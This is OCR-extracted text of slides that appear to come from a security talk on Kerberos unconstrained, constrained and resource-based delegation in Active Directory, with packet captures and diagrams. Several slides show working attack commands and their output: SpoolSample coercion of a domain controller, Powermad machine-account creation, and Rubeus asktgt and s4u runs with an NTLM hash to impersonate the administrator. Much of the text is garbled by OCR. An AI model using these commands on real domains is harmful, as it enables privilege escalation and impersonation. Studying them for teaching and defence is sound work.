| @x3elcd | vegeta sa @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:41:00 AM | Can dUl | |p that Tleet and
| @x3elcd | vegeta sa @ CAPSULE.CORP | LDAP/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:41:00 AM | . ..
| @x3e4 | web@l$ @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:40:13 AM | N |personate Adl | ||n|Strator
| ex3ea | web@1$ @ CAPSULE.CORP | cifs/dc@1l.capsule.corp | 4/21/2021 6:40:13 AM |
| =2s2e leboat A concuL . conn LLdeotdafdsonsulensenalsnnsndegenoal i 0000 _Cono.a0 s
|| @x1c25fd | Administrator @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:58:21 AM ||
|l @x1c25fd | Administrator @ CAPSULE.CORP | cifs/sql@1.capsule.corp | 4/21/2021 6:58:21 AM ||
e e e e e e S T o R eSS EEETEeRR TR R
| ex180c5 | WEB@1$ @ CAPSULE.CORP | LDAP/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:18 AM |
| ex3e7 | web@1$ @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:40:13 AM |
| ex3e7 | web®1¢ @ CAPSULE.CORP | cifs/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:13 AM |
| ex3e7 | web@1$ @ CAPSULE.CORP | WEB@1% | 4/21/2021 6:40:13 AM |
| ox3e7 | web®1$ @ CAPSULE.CORP | LDAP/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:13 AM |
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EN Administrator: Windows PowerShell

PS C:\Tools> .\SpoolSample v4.5 x64..exe A
Invalid numher of arscs  Svntax- SnonlSamnle ewe TARGFT CAPTIIRFSERVER

PS C:\Tools> .\SpoolSample_v4.5 x64..exe dc@l.capsule.corp web®l.capsule.corp

[+] Convertcd trr=tosieiicous

[+] Executing RDI

[+] Calling exported function

TargetServer: \\dc®l.capsule.corp, CaptureServer: \\web®l.capsule.corp

Attempted printer notification and received an invalid handle. The coerced authentication probably worked!
PS C:\Tools>

PS C:\Tools>

PS C:\Tools>

AWe can also leverage certain = =<V woe e
RPC calls or methods to force —
arbitrary principals to R EE ey
connect to the service I e R

|‘h\
S

Action: Triage Kerberos Tickets (All Users)

A Exampleilmpersonating a 1 e 0+ v
Domain Controller allows s
you toDCSync e e el

0x3e218 Vegeta_sa @ CAPSULE.CORP | krbtgt/CAPSULE.CORP 4/21/2021

@x3e7 web@1$ @ CAPSULE.CORP WEB@1% 4721720821
@x3e? web@®1% @ CAPSULE.CORP LDAP/dc@l.capsule.corp/capsule.corp | 4/21/2021

\ | | | 6 AM |

| @x3e218 | Vegeta_sa @ CAPSULE.CORP | ProtectedStorage/dc@l.capsule.corp | 4/21/2021 6:41:00 AM |

| @x3e218 | Vegeta_sa @ CAPSULE.CORP | cifs/dc@l.capsule.corp | 4/21/2021 6:41:00 AM |

| @x3e218 | Vegeta_sa @ CAPSULE.CORP | cifs/DC@1 | 4/21/2021 6:41:00 AM |

. | @x3e218 | Vegeta sa @ CAPSULE.CORP | LDAP/dc®l.capsule.corp/capsule.corp | 4/21/2821 6:41:80 AM |

A Exam Iez I m ersonatln | @x3elcd | vegeta_sa @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:41:00 AM |

p p g | @x3elcd | vegeta_sa @ CAPSULE.CORP | cifs/dc@l.capsule.corp | 4/21/2021 6:41:00 AM |

| @x3elcd | vegeta sa @ CAPSULE.CORP | LDAP/dcel.capsule.corp/capsule.corp | 4/21/2621 6:41:00 AM |

any Computer aIIOWS you to | ox3ea | web®1$ @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:40:13 AM |
s | @x3ed | web@®1¢ @ CAPSULE.CORP | cifs/dc@l.capsule.corp | 4/21/2021 6:40:13 AM

CO nflgure RBCD | ex3ea | web@1¢ @ CAPSULE.CORP | 1dap/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:13 AM |

| Avidrdde | Vieoeta ca @ caPSILE CORP | lenhtot /CADSIIE CNRD | A/21/2021 A-A1-06_AM |
@x1dcd@6 | DCO1$ @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:36:30 AM

| UXx100ULD i INEDUJ..].D \IEJ LAFDULC.LUNE | K ;JLgL].LHr'JULE.\.UI\r' i 4,‘.AJ.,‘.LULJ. U.gu.10 AT

| ex188c5 | WEB@1$ @ CAPSULE.CORP | LDAP/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:18 AM |

| @x3e7 | web®1$ @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:40:13 AM |

| ex3e7 | web@1¢ @ CAPSULE.CORP | cifs/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:40:13 AM |

\ | | | 6 AM |

\ | | | 6 AN |
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Interesting Links

A Will Schroeder Not A Security Boundary: Breaking Forest Trusts

A https://www.harmj0y.net/blog/redteaming/nota-securityboundarybreakingforest-trusts/

A DirkJan Mollemad wS f | & A y 3 HavinguNBits ioastrained delegation

A https://dirkjanm.io/krbrelayxunconstraineddelegatiorabusetoolkit/

A Roberto Rodriguez Hunting in Active Directory: Unconstrained Delegation & Forests Trusts

A https://posts.specterops.io/huntingn-active-directory-unconstraineddelegationforeststrusts-71f2b33688e1

A Crummie5- Kerberos Unconstrained Delegation: Compromising a Computer Object by its TGT

A https://www.crummie5.club/kerberosunconstraineetgt/

A Charlie Clark Abusing Users Configured with Unconstrained Delegation

A https://exploit.ph/user-constraineddelegation.html
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Constrained Delegation

www.crummieb.club




Due to IIS shenanigans wilonstrained Delegatigh changed the
configuration of the web application a bit
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IS Shenanigans

[IS required setting up Constrained Delegation both in the account\§@Afe@browserSycand the server (Web01$)

Hi Steve,

a few minutes ago | had a call with some buddies @Microsoft. They told me that IIS has some

“limitations" which 1 need to consider.

When using a DFS Share as a virtual directory you have to specify the Kerberos delegation settings

twice - once|for the AppPool account/going to be used (if any is going to be used)|anda second time
for the IIS machine account itself| They told me its because of how IIS enumerates and accesses the

DFS referals and shares. This double configuration have to be setup, even if you disable Kernel Mode

authentication in IS and using AppPool Identities.

https://forums.iis.net/t/1180031.aspx www.crummie5.club



New Configuration

So | changed the Service Account to NT AUTHINRIImorkServicewhich acts as Web01$ in the network

Filter: \ Go Show All ~ Group by: Mo Grouping Providers

Name Status  .NET CLRV.. Managed Pipel... |dentity Applications

Enabled Providers:

Megotiate

£} MET 2.0 Started 2.0 Integrated ApplicationPoolldentity ]

,;::."".f"-JET'-.-'j 0 Classic  Started w20 Classic ApplicationPoolldentity 0

MNET Started wdl) Integrated ApplicationPoolldentity
MET w45 Classic  Started widl) Classic ApplicationPoolldentity
ssic MET Ap... Started w20 Classic ApplicationPoolldentity

,;:,' DefaultfppPool  Started w0 Integrated ApplicationPoolldentity

,=:' Sharebrowser Started w20 Integrated MetworkService

Select a provider from the list of available providers and click Add
. . . to add it to the enabled providers,
Configuration Editor

e sy stem.webServer/security/authentication/windowsAuthenticatio ~ | From: ApplicationHost.config <location path="Sharebro ShareSupport’ />

v Deepest Path: MACHINE/WEBROOT/APPHOST/Sharebrowser
authPersisthonMTLM
authPersistSingleRequest

Available Providers:

enabled

extendedProtection

providers -
ppPoolCredentials Cancel

sekernelMode
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New Configuration

912 Properties

Multi-valued 5tring Editor
Attribute: service PrincipalMame - Environment

Walue to add:

.. |

Walues:

stric st/ WEBD1

strictedKrb Host /web 01 capsule ¢
AMAwebl

. eb01.capsule.comp

Permissions
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Constrained Delegation

ARestricts the services to which the configured server can act on the behalf of a
client

ADoes not leverage TGTs as Unconstrained does

ATwo new Servicéor-User (S4U) Kerberos extensions:
AThe Kerberos protocol transition extensi@4U2Self
AThe Kerberos constrained delegation extens®#lU2Proxy

https://docs.microsoft.com/erus/openspecs/windows_protocols/msfu/8ee85a4775264184a7c525a5e4155d7d www.crummie5.club



Constrained Delegation (cont.)

S4U2Self

A Allows a service tobtain a Service Ticket to itself as evidettta a client has
authenticated

A Any service (account with SPN registered) can invoke S4U2Self. The resulting ST may
vary depending on the rights of the service account

S4U2Proxy
A Allows a service tobtain a Service Ticket on behalf of a clitna different service
A A Service Ticket is required as evidence that the client has authenticated

https://docs.microsoft.com/erus/previousversions/mspn-p/ff650469(v=pandp.10)?redirectedfrom=MSDN www.crummie5b.club



Constrained Delegation (cont.)

ATwo ways for configuring this delegation:

AKerberos onlythe service can delegate when the client authenticates using
Kerberos (uses S4U2Proxy)

A Protocol transitionthe service can delegate regardless of how the client
authenticates (uses S4U2Self and S4U2Proxy)

A Setting up any of these configurations requires Domain or Enterprise Admin
privileges
A SeEnableDelegation

www.crummie5b.club
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Kerberos Only

WEBO1 Properties

Managed By Chject Security Dialin Adtribut

Operating System Member OFf Delegation Password Re

Delegation is a

beha

rity-sensitive operation, which allows services to act on

Services to which Web01 can delegate to are included within
its msDS-AllowedToDelegateTo  attribute

PS C:\> Get-DomainComputer web@l

samaccountname, msds-allowedtodelegateto | fl

— samaccountname : WEB©1%
Xpande SMOVE

msds-allowedtodelegateto : {cifs/sql@l.capsule.corp, cifs/SQLe1}

Cancel Apply RSHeE \ >

www.crummie5b.club



Logging i n é

~ e
L Waiting for sharebrowser.c...

Windows Security
iexplore

Connecting to sharebrowser.capsule.corp.

vegeta_sa

Domain: CAP

I:l Remember my credentials

www.crummie5b.club



IT WORKS!

e arebrowser.capsule.corp/CS.aspx = & || Search...

= C s A er!
= Share Browser!

Working with Sql01 - \\sql01.capsule.corp\ShareSupport\

Browse...

FleName | | |
crummied club Dowmnl

www.crummie5b.club



Kerberos Only

HTTPsharebrowser.capsule.corp ST
TGT

ST +Authenticator
1596)AS-REP
TGS -REQ
2547 GET / HTTP/1.1
2761|TGS-REQ
o o] S4U2Proxy
2116 Session Setup Request TGT +Authenticator + ST

314 Session Setup Response
4457 HTTP/1.1 200 0K (text/html)

W W wwww

W W

73}
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S
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S

W

10.11.3.112 - CLIENT

10.11.3.12 - WEBO1

1011.3.10 - SOLOL Listing \ \ sqglO1.capsule.corp \ ShareSupport \

AP-REP + HTTP
10.11.3.5 - DCO1

Response
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Vegeta
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Vegeta

Secret Key
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—
jv)
H
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# || e

Session Key

, TS | Timestamp

Auth| Authenticator
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’

T;, _"> 10:00

Vegeta

Secret Key

B

HTTP o =S

g , TS | Timestamp

Auth| Authenticator

Session Key
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encASRe‘% —»| Info 4g

—|Auth HTTF
Auth| —**, [Auth o | RS, | HTTR—

Secret Key

B

HTTP o =S

’ TS | Timestamp

Auth| Authenticator

Session Key
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4 Info

Vegeta
/,’ 15:00
Vegeta 4—-— encTGSReE—
r— AP | Secret Key
HTTP o =S
48 | session Key

4 , TS | Timestamp

Auth| Authenticator

www.crummie5.club




\ -

- \
encTGSRe) — | Info Vegeta

Secret Key

B

HTTP o =S

g , TS | Timestamp

Auth| Authenticator

Session Key
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-
»

Auth| —=_, [Auth Vegeta

Secret Key

B

HTTP o =S

g , TS | Timestamp

Auth| Authenticator

Session Key
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Vegeta

Secret Key

B

Vegeta HTTP CIFS

Session Key

15:00
g , TS | Timestamp

Auth| Authenticator
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TeT, ST

Auth|_*_,

Auth

Vegeta

HTTP

Auth

CIFS

B

TS

Auth

Secret Key
Session Key

Timestamp

Authenticator
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CIFS Ticket d TGS REQ (S4U2Proxy)

~ Kerberos
v Record Mark: 2703 bytes
-~ tgs-req
pvno: 5

22 ~ -_ ~ i msg-type: krb-tgs-req (12)
SonmQa ¢D¢ b ! dzi e
v PA-DATA PA-TGS-REQ
~ padata-type: KRB5-PADATA-TGS-REQ (1)

v padata-value: 6e8204a4308204a0af03020105a10302010ea20703050000...

- ap-req
pvno: 5
msg-type: krb-ap-req (14)

ATarget SPN: e
g} . v ap-options: EOOEEEEE

» ticket
- .

Acifs/sql01.capsule.corp  on gy encacor]

R adding: ©
v kdc-options: 40830000
realm: CAPSULE.CORP

A dd 1 I - k . ’ bnﬁzrie-type: kRB5-NT-SRV-INST (2)

A |t|0na TIC et. ~ sname-string: 2 items

SNameString: cifs

A+ S 3 SSelvi€earicket (HTTP) i, sl e o

nonce: 284817964

v etype: 5 items

» dl O dl10MN-dal d
~ additional-tickets: 1 item
v Ticket

https://docs.microsoft.com/erus/openspecs/windows_protocols/msfu/ddb2cafd1f01-4834b52ad4a5b34cd960
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~ padata: 2 items
*~ PA-DATA PA-TGS-REQ
~ padata-type: kRB5-PADATA-TGS-REQ (1)

2 A ~ ~ padata-value: 6e8204a4308204a0a003020105al10302010ea2070305004
SonmQa ¢ - e reg

) pvno: 5
Authentlcator msg-type: krb-ap-req (14)

Padding: @
y ap-options: EEEEEEOHO

» Licket
» authenticator

~ PA-DATA PA-PAC-OPTIONS

~ ~ o - padata-type: KRB5-PADATA-PAC-OPTIONS (167)
A4
- «~ padata-value: 300£a@0703050012000000
f S I a S O K Padding: O
é_ -_I_- S | é 7\ C) f - flaas: 100FAOCG

= ciaims: Falze
branch-aware: False
forward-to-full-dc: False
resource-based-constrained-delegation: True

www.crummie5b.club



= req-body
Padding: ©
~ kdc-options: 40830000
wev .... = reserved: False
i forwardable: True
forwarded: False

Asking for CIFS ST

= proxiable: False

= proxy: False
allow-postdate: False

= postdated: False

realm: CAPSULE.CORP
~ sname
unused?7: False name-type: KRB5-NT-SRV-INST (2)
renewable: True
unused9: False
unusedl@: False
opt-hardware-auth: False
unusedl2: False
unusedl3: False
constrained-delegation: True
canonicsg True

~ sname-string: 2 iftems
SNameString: cifs
SNameString: sqlol.capsule.corp

| 2y a0NF Ay SR

+ S 3 Skoiw&dable
HTTP ST

https://docs.microsoft.com/erus/openspecs/windows_protocols/msfu/ddb2cafd1f01-4834b52ad4a5b34cd960

- additional-tickets: 1 item
-~ Ticket
tkt-vno: 5
realm: CAPSULE.CORP
~ sname
name-type: kRB5-NT-SRV-INST (2)
~ sname-string: 2 items
SNameString: HTTP
SNameString: sharebrowser.capsule.corp
-~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 1
~ cipher: c834d2335945e6cc267ab19d998b66T606c585cas50
~ encTicketPart
Padding: @
~ flags: 40aleoo@
@... .... = reserved: False
. e forwarded: False
proxiable: False
proxy: False
may-postdate: False
postdated: False
invalid: False
= renewable: True
initial: False
pre-authent: True
hw-authent: False
transited-policy-checked:
= ok-as-delegate: False
unused: False
enc-pa-rep: True
anonymous: False

crealm: CAPSULE.CORP
cname

name-type: kRBS-NT-PRINCIPAL (1)
~ cname-string:

CNameString: Vegeta_sa

www.crummie5b.club



1)) e pe—

e Web01$
s 15:00

st | +S 3 SpidofQa

WebO01 can delegate
to Sql01

encTGSRe

Secret Key

msDSAllowedToDelegateTo

B

Session Key

CIFS/sql01.capsule.corp
’ TS | Timestamp

Auth| Authenticator
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CIFS Ticket 8 TGS REP (S4U2Proxy)

~ Kerberos

v Record Mark: 1795 bytes

~ tgs-rep
pvno: 5

. msg-type: krb-tgs-rep (13)
ADC checks if Web01 can delegate to crealn; CAPSULE. CoRp
~ chame
Squl (T]SDSA\”OWQdTODelegate-D_O name-type: kRB5-NT-PRINCIPAL (1)

~ cname-string: 1 item

~ ticket

tkt-vno: 5

realm: CAPSULE.CORP

- N Ta Vd v 0
AResponds witt S 3 ST I+ Qession
name-type: kRB5-NT-SRV-INST (2)
k(f;)/ ~ sname-string: 2 items
SNameString: cifs
SNameString: sql@ol.capsule.corp
v enc-part

vy enc-part
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tkt-wvno: 5
realm: CAPSULE.CORP
sname
name-type: KRB5-NT-SRV-INST (2)
~ spame-string: 2 items
SNameString: cifs
SNameString: sql@l.capsule.corp
enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
kvno: 5

-~ cipher: 7f471d07ea5dfaa724cda®1466baaa2af3bb8aa3316afeed..

- encTicketPart
Padding: ©
~ flags: 40a10000
¢] .... = reserved: False

forwarded:

proxiable: False
proxy: False
may-postdate: False
postdated: False
invalid: False
renewable: True
initial: False
pre-authent: True
hw-authent: False
transited-policy-checked: False
ok-as-delegate: False
unused: False
enc-pa-rep: True
anonymous: False

» key
crealm: CAPSULE.CORP
~ chame
name-type: KRB5-NT-PRINCIPAL (1)
~ cname-string: 1 item

~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

~ cipher: 22dbac78d78d64dccc624a25a81390b4dbe891700e168772...

GSRepPart

284817964
6]
Naleees
authtime:\ 2021-04-12 14:21:0:

starttime:\2021-04-12
endtime: 20%1-04-12 14:36
renew-till: 2@21-04-19 14:
srealm: CAPSUL

~ sname
name-type:
~ sname-string:
SNameString: c\
SNameString:
" =

Session Key and other info

+ S 3 Skoiw&dable
HTTP ST

www.crummie5b.club



Vegeta

“w£ » »

Secret Key

HTTP

encTGSReﬂL Info w T
CIFS

B

Session Key

g , TS | Timestamp

Auth| Authenticator
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Vegeta

-
Auth| —=__, [Auth Secret Key

v

B

- R
HTTP  — ISR~ CIFS |

Session Key

7 , TS | Timestamp

Auth| Authenticator
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AP-REQ (SMB)

~ SMB2 (Server Message Block Protocol version 2)

» SMB2 Header

~ Session Setup Request (0x01)
[Preauth Hash: 9366463323c3efl0c6e6412e199077a24d33b6bar5992162..]
StructureSize: 0x0019
Flags: @
Security mode: 0x01, Signing enabled

AARREQ through SMB on behalf of
Channel: None (0x00000000)
Previous Session Id: 0x0000000000000000
Vegeta Blob Offset: 0x00000058
Blob Length: 1970
Security Blob: 608207ae06062b0601050502a08207a23082079eab30302¢e..
~ GSS-API Generlic Security Service Application Program Interface
0ID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)
~ Simple Protected Negotiation

ACIES ticket + authenticator s 4 stens

mechToken: 6082076006092a864886771201020201006e820741F308207...
= krb5_blob: 6082076006092a864886F71201020201006e820741308207...
KRB5 0ID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
krb5s_tok_id: KRB5_AP_REQ (0x06001)
~ Kerberos
[ap-req]
pvno: 5
msg-type: krb-ap-req (14)
Padding: @
» ap-options: 20000000

v ticket
v authenticator
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Vegeta

HTTP

Secret Key

B

Session Key

TS | Timestamp

Auth| Authenticator

Auth

4 Info

Vegeta
15:00
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Secret Key

B

Session Key

TS | Timestamp

Auth| Authenticator

Vegeta
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AP-REP (SMB)

~ SMB2 (Server Message Block Protocol version 2)
r SMB2 Header
~ Session Setup Response (0x01)
[Preauth Hash: 9366463323c3efl10c6e6412e199077a24d33b6bar5992162.. ]
AAP_REP through SMB , Strm?ruresize: Ox0009
v Session Flags: 0x0000

Blob Offset: Ox006000048

Blob Length: 184
~ Security Blob: al81b53081b2a0f030af100alPb06092a864882F712010202...
~ GSS5-API Generic Security Service Application Program Interface

= = ~ Simple Protected Negotiation
AST encrypted with session key

negResult: accept-completed (@)

supportedMech: 1.2.840.48018.1.2.2 (M5 KRB5 - Microsoft Kerberos 5)

responseToken: 60819706092a86488617120102020200618187308184a003...

~ krb5_blob: 60819706092a864886771201020202006F8187308184a003...

KRB5 OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REP (Gx0002)

AMutual authentication between

-~ ap-rep
Web01 and Sql01 pvno: 5
msg-type: krb-ap-rep (15)
* enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
= cipher: cf9llaed422dc043e9503cd6b3e6T5e2e7366bac728127982..
ctime: 2021-04-12 14:21:02 (UTC)
cusec: 26
v subkey
seqg-number: 282870971
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Vegeta

> 4N

/ 4
b0 % Iy

/)

)
67

TS - .
- | 15:00
r— AP | Secret Key
g
TS HTTP o =S
e
= - 48 | session Key

g , TS | Timestamp

Auth| Authenticator
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AP-REP (HTTP)

- Hypertext Transfer Protocol
» HTTP/1.1 200 OK\r\n
Cache-Control: private\r\n
Content-Type: text/html; charset=utf-8\ri\n
AAP_REP throu h HTTP Server: Microsoft-IIS/10.6\r\n
EJ X-AspNet-Version: 2.0.50727\r\n

Persistent-Auth: true\r\n

X-Powered-By: ASP.NET\r\n
[truncated JWWiW-Authenticate: Negotiate oYG2ZMIGzZoAMKAQChCwYJKoZIgvcSAQICooGe
~ GSS-API Generic Security Service Application Program Interface

~ Simple Protected Negotiation

AST encrypted Wlth SeSSIOn key ’ negg;ggzgg accept-completed (0)

supportedMech: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
responseToken: 60819806092a86488617120102020200678188308185a003...
~ krb5_blob: 60819806092a864886F7120102020200678188308185a003...
KRB5 OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REP (0x0002)

AMutual authentication between

- ap-rep

the Client and Web01 neg. type: krb-ap-rep (15)

~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
] : 85abb840eb9eece9ebeb4eld43744ebd55619c230bOch6dass..
ctime: 2021-04-12 14:21:02 (UTC)
cusec: 284
v subkey
seq-number: 284817929

www.crummie5b.club



1S|_*= 15:00 Vegeta

Secret Key

B

HTTP o =S

g , TS | Timestamp

Auth| Authenticator

Session Key

www.crummie5.club




HTTPsharebrowser.capsule.corp ST
TGT

ST +Authenticator

2547 GET / HTTP/1.1

2761|TGS-REQ

1853|TGS-REP S4U2Pr0xy
2116 Session Setup Request TGT +Authenticator + ST

314 Session Setup Response
4457 HTTP/1.1 200 0K (text/html)

W W wwww

W W
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10.11.3.12 - WEBO1

10.11.3.10 - SQLOL Listing \ \ sqlO1.capsule.corp \ ShareSupport \
AP-REP + HTTP

Response

10.11.3.5 - DCO1
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Abusing Kerberos Only

AKerberos Only requires an Additional Ticket as a requirement to invoke
S4U2Proxy. This ticket must be Forwardable

AYou cannot use S4U2self in this configuration as the resulting ticket will be non
Forwardable

A The service is not TRUSTED _TO AUTH_FOR_DELEGATION (refer to Protocol Transition)

Al 02YY2Yy gl & (2 | 0dzaS GYSNDSNR& hyfeé:

A Jump this section until you know how Protocol Transition and RBCD work!

EladShamir- Wagging the Dog: Abusing ResouBased Constrained Delegation to Attack Active Directory www.crummie5.club



PoC

A For thisPoQwe need an account
with at least one SPN

A Powermadcan help

A Having compromised Web01,
we can impersonate it through

Its credentials

EN Administrator: Windows PowerShell

PS C:\Tools> New-MachineAccount attlds
Enter_a password for the new machine account: *¥¥#Fssssx
[+]/Machine account attl4s added

PS C:\Tools>

PS C:\Tools>

PS C:\Tools> .\Rubeus.exe asktgt /user:web®1$ /rc4:987af3a@17f733f09da64e322a@ffcdc /domain:capsule.corp /nowrap /ptt

.\ ||

SN T I
| AT N )
DN D )y
0 ) ) Y J I 4 IS Y 4 QR
v1.6.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 987af3a@17f733f89da64e322abBffcdc

[F1 _Building AS_REON _(w/ nreauth) for: ‘capsule.corp\web@l$’

[+] TGT request successfull
[=] baseb4d(Ticket-Kirbi):

https://github.com/KevinRobertson/Powermad/blob/master/Powermad.ps1
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By default, any service account has rights to configure RBCD for itself
2 S OFly O2yFAIdzNBE 2Sonm G2 OGNHzA G 2 dzNJ

EN Administrator: Windows PowerShell

PS5 C:\Tools> Import-Module .\Microsoft.ActiveDirectory.Management.dll ~
PS C:\Tools>

PS C:\Tools>

PS5 C:\Tools> Set-ADComputer web®1% attlass

VERBOSE: Performing the operation "Set" on target “"CN=WEB®1,0U=Application,0OU=Tier 1 Servers,DC=capsule,DC=corp".

PS C:\Tools>

PS C:\Tools>

EladShamir- Wagging the Dog: Abusing ResouBased Constrained Delegation to Attack Active Directory www.crummie5.club



EN Administrator: Windo

PS C:\Tools> .\Rubeus.exe sdu /impersonateuser:administrator fuser:attlds$ /rcd4:BD35111AB3B8D46129EFBDBABB6BA9CA @[
fmsdsspn:cifs/web®1.capsule.corp /nowrap

\ |

— ) I -
I A AN A B I B A
0 A I ) D I ) oy
(0 Y Y I IR S ) G
v1.6.1

[*] Action: S4U

[*] Using rcd_hmac hash: BD35111AB3BAD46129FEFBDBABAGBA9CA
[*1 _Buildine AS-RF0O_{w/ nreauth) for: 'capsule.corp\attlds$’
[+] TGT request successful!

[] DaSEo4{ CICKEL-RITDL) -

doIE@DCCBMygAWIBBaEDAgEWo0ID5]CCA+IhggPeMIID2gADAZEFoQ4bDENBUFNVTEULQBISUKIhMB+gAWIBAGEYMBYbBmtyYnRndBsMY2F 'tt . t t .
wc3IVs755jb3IwodIDn jCCASqeAwTBEQEDAEECooTDJASCALJEBET765RIuKA] cJgADXBONBcsabhOoxZ srnF8sBXXKVKtinp Lt 744AGY166wTsh/QQ W |4 I I l h b ST
HXkVgCaYepmwC1KQ12qWokAAZeChWFDj 2bX3xtIrlpa+D] zkfRSWD18MAVimOHmMBh /nkvYhRadHSS9+esez3G5]FETPhpz s suluCMy FQuUTQPfny e Can use Our a S aC Ine O O al n a
oJAcLYeg9¥kyx5u5srtCrHZgENyi15FCADvZZ4d(Qs L BRGBzh50F X8bxRuS1zq+712DoBFauN]sIN7TGAIpXe1ES1Y8jhUIbaCT++BToCiBMBg2Kpz

0gCpjXaw2GSOE/i10zID0oKXtEIc41tHNEg 7wIirMpZ8cCmxvmVDpz69oNsXScr5+ELiYD8wBI7ELVbSIEZnaenjRm+c7sp2I1AsZZYmN+eAubnUP fo r We bO 1 y I m pe rSO n atl n g Ad m I n IStratO r

8Tjg68CC01kXHkIWkawlpunv/qHcX6DZvhU4tIB2LtTopgB4oojDmCLN7ozCdHNBQpCv+9amt8YVM7sx88v]j5j3hTeBq9F cRHU2UF / TRMxq1UNBRXx4
Y@de3eRUuILBGutqeW/dI8b88OPc5VbVdZx1Iy9/cojwFXECyImf8INTABi30oHbInh/@+ayWzqswBjnBCc3530p77wIMSSYIC5+gl+mgCd1Xauso (84 U 2 Se If & S4 U 2 P roxy)
t55Zr0onGG/PI31c5Zs7VLeT2izIF6uyol MB1LQUGQDrYIRBPQI1IMStLURTTq861SPanEzFqsYkXxFXMAShB3At+SowIV/dSAfoz1MHGs jwRdsX8e

9Pol MwbOpLd@9+G1+17TBbw2@XYyyl a7 dLmMovvmGMoogcDdgwX/ gNsFghF1irtMbiE4L R9Hr Lw3tsGt55bifY3H2DrDASBBHbDhhtbV161 25H1 14

P1wBTcmib,/nEJ1cbSMZV+uExS08jEB2ZnsR1d+fEzpQ0e7ErjF0ejV1jL483esme/ 1loDOIW)S6ed8,/MDKENe45IBF5SAYXj8xceVGEXoI+DVezDg/ g

Eup9dLBFeQebi2 /WuSNENI41h3h0KAcalegB7cCe6I2CREUYS602GIW3ICelroDVe/4texKLIK1b6TvH7eme9sIcTr7GiudxMrh/FakP9Nxkjijufo
zwpt4IPuPs3gCLtyfqfZgbU84pztAbX51iB1F9UcSDXvCUEQUozaarDS JUZGERmO1SRjzgwlLkaNN1SXC /QOQDDp6g8QnWAI0oDm1PeXf3FOQheB

iWErH7qBp9odHVMIHSoAMCAQCigcoEgcd9gcQuectgebiwgbswgbigGzAZoAMCARehEgQQuULf56KiC6eZ jFbXPvefifqEOGuwxDQVBTVUXFLKNPULC

1FDASOAMCAQGhC zAJGwdhdHR sNHMkowc DBQBAAQAAPREYDz TwiMj EwND I j EwODMOWGYRGASYMDIxMDQyMTA3MDg zNFgnERgPMj AyMTABM cyMTAL

MzRagA4bDENBUFNVTEUuQ@95UKKkhMB+gAwTBAQEYMBYbBmtyYnRndBsMY2Fwc3Vs755jb3Iw

[*] Action: S4U

[*] Using domain controller: dc®l.capsule.corp (10.11.3.5)
[*] Building S4U2self request for: "attl4s$@CAPSULE.CORP’
[*] Sending S4U2self request

[+] S4U2self success!

[*] Got a TGS for "administrator' to "attl4s$@CAPSULE.CORP"
[*] basebd(ticket.kirbi):

—

—

doIFPjCCBTqgAWIBBaEDAgEW00IEWzCCBFdhggRTMIIET6ADASE FoQAbDENBUFNVTEULQRSSUKIUMBK gAwIBAaELMAKbB2FadGwacyS jael
gMITEHKADAgEXoQMCAQGT geQOBTTECs725s6+BUSBS165T330nTD+5964VELD6TATAE2HAXBoaTh1L P6NTu+93168aGytEil2k5XDEwt zRoKr5ThxA
YfF8MUB2]aBowIitvlwe2xhgDgBVoqrkp35CWwFITBTv1h1rAEF715BLIwBP150QjBAKATxLNCIdpChnI4HIZroSkK1mI@1V8ev1Mk+dDdTIbEL g
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EN Administrator: Windows PowerShell

PS C:\Tool:> .\Rubeus.exe describe /ticket:loIGDDCCBgigAwIBBaEDAgEWooIFGDCCBRRhggUQMIIFDKADAZEFoQAbDENBUFNVTEUUQE K
9SUKI1IMCOgAwIBAGECcMBobBGNpZnMbEnd1YjAxLmNhcHN1bGUUY 29y cKOCBMwweggTIoAMCARKhAWIBAGKCBLoEggS20WAcTMCKem,/ 5yrsj7MGBQLc
GMK1QNwn89vdNtGMg9SIjaly+bI3Nw5izh5YWeg36plarMtH1CTuluONSQ2dppT7gy2RSPpcSFMpjMQWN6xDZ103dCF3qigvKpFgQViQB5x6kGkG5h
HC80h50pw20njMPschBLb+cjJ11kvaMNuGKF2a04V5VDFahwtc/BmwylZAiu3mz3V8Y4deWhy/dyfgKfOpg61WsS1t0lhd/I8+oMvUdOoeNY21sASF
QMSALNiU+RgIBbBjemZt7f56W7CcafeH27uSbWzhsVPhwKq50CAbe0jOY3kGOUbIgHL6L eGmZDbRXKRQYibcul1zcU5h9ktzznz@egDs+82 /nzxUtl
glf81P1UE1P6HCvqFBUdbOZ7nss30PalvITuxgap7RjBCBDeMGdQertjv7WShK6CajWRXKtTqZX0YI5ATIV3mySu,/Ndc9yMORHpA9mhYShiBYETT]
